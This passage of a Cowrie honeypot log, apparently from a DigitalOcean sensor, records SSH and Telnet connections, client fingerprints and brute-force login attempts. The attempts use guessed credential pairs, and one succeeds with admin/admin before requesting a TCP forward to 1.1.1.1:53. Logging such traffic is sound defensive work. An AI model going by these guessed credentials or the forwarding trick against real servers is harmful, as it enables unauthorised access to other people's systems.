a2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:31.888812Z","src_ip":"159.203.92.129","session":"a9312bffe70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"88888888","message":"login attempt [ansible/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:31.899870Z","src_ip":"159.203.92.129","session":"a9312bffe70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:32.906301Z","src_ip":"159.203.92.129","session":"a9312bffe70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77083086967468,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:34.104685Z","src_ip":"185.26.126.47","session":"ec4bb428e86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47828,"dst_ip":"10.17.0.5","dst_port":22,"session":"79925cdef5dd","protocol":"ssh","message":"New connection: 80.94.92.182:47828 (10.17.0.5:22) [session: 79925cdef5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:58.831228Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:58.947195Z","src_ip":"80.94.92.182","session":"79925cdef5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43214,"dst_ip":"159.203.135.109","dst_port":22,"session":"f02448e93ca2","protocol":"ssh","message":"New connection: 159.203.92.129:43214 (159.203.135.109:22) [session: f02448e93ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.714644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.719747Z","src_ip":"159.203.92.129","session":"f02448e93ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.725794Z","src_ip":"159.203.92.129","session":"f02448e93ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"8888888888","message":"login attempt [ansible/8888888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.738643Z","src_ip":"159.203.92.129","session":"f02448e93ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":35388,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d13689410c8","protocol":"ssh","message":"New connection: 213.209.159.159:35388 (10.17.0.5:22) [session: 7d13689410c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.909987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.914774Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:16.998134Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna","message":"login attempt [lianna/lianna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:17.406565Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:17.745222Z","src_ip":"159.203.92.129","session":"f02448e93ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna1","message":"login attempt [lianna/lianna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:18.493974Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna123","message":"login attempt [lianna/lianna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:19.580082Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna1234","message":"login attempt [lianna/lianna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:20.666254Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna12345","message":"login attempt [lianna/lianna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:21.753864Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:22.840086Z","src_ip":"213.209.159.159","session":"7d13689410c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d7a1f3efcc","protocol":"telnet","message":"New connection: 185.26.126.47:38018 (159.203.135.109:23) [session: d1d7a1f3efcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:39.057867Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e549133296","protocol":"telnet","message":"New connection: 185.26.126.47:42756 (159.203.135.109:23) [session: a2e549133296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:45.025023Z"}
{"eventid":"cowrie.session.closed","duration":120.00131368637085,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:48.949876Z","src_ip":"138.94.179.238","session":"753773ddd79f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":23004,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1d8e7e5605","protocol":"telnet","message":"New connection: 138.94.179.238:23004 (10.17.0.5:23) [session: 2b1d8e7e5605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:51.563903Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53394,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5f52d33dd5","protocol":"telnet","message":"New connection: 185.26.126.47:53394 (159.203.135.109:23) [session: 2b5f52d33dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:41:57.252823Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":21279,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31405b0c354","protocol":"telnet","message":"New connection: 138.94.179.238:21279 (10.17.0.5:23) [session: b31405b0c354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:00.091469Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36302,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f3d26c30eb0","protocol":"ssh","message":"New connection: 159.203.92.129:36302 (159.203.135.109:22) [session: 0f3d26c30eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:01.756447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:01.761083Z","src_ip":"159.203.92.129","session":"0f3d26c30eb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:01.765907Z","src_ip":"159.203.92.129","session":"0f3d26c30eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"8ik,*IK<","message":"login attempt [ansible/8ik,*IK<] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:01.777081Z","src_ip":"159.203.92.129","session":"0f3d26c30eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:02.788695Z","src_ip":"159.203.92.129","session":"0f3d26c30eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.101.64.6","src_port":38086,"dst_ip":"159.203.135.109","dst_port":22,"session":"8192a987b458","protocol":"ssh","message":"New connection: 5.101.64.6:38086 (159.203.135.109:22) [session: 8192a987b458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.255393Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.361290Z","src_ip":"5.101.64.6","session":"8192a987b458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.101.64.6","src_port":38094,"dst_ip":"159.203.135.109","dst_port":22,"session":"66855bf5ae91","protocol":"ssh","message":"New connection: 5.101.64.6:38094 (159.203.135.109:22) [session: 66855bf5ae91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.456831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.461986Z","src_ip":"5.101.64.6","session":"66855bf5ae91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.563261Z","src_ip":"5.101.64.6","session":"66855bf5ae91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:09.669825Z","src_ip":"5.101.64.6","session":"66855bf5ae91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.12545990943909,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:17.183225Z","src_ip":"185.26.126.47","session":"d1d7a1f3efcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e477c644feed","protocol":"ssh","message":"New connection: 87.251.64.176:38060 (10.17.0.5:22) [session: e477c644feed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.293143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.297041Z","src_ip":"87.251.64.176","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.393058Z","src_ip":"87.251.64.176","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.685489Z","src_ip":"87.251.64.176","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.784441Z","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.882084Z","src_ip":"87.251.64.176","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:22.980723Z","src_ip":"87.251.64.176","session":"e477c644feed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.80425238609314,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:30.829145Z","src_ip":"185.26.126.47","session":"a2e549133296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.2764618396759,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:36.529192Z","src_ip":"185.26.126.47","session":"2b5f52d33dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47646,"dst_ip":"159.203.135.109","dst_port":22,"session":"da16418e993f","protocol":"ssh","message":"New connection: 159.203.92.129:47646 (159.203.135.109:22) [session: da16418e993f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:46.740854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:46.745644Z","src_ip":"159.203.92.129","session":"da16418e993f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 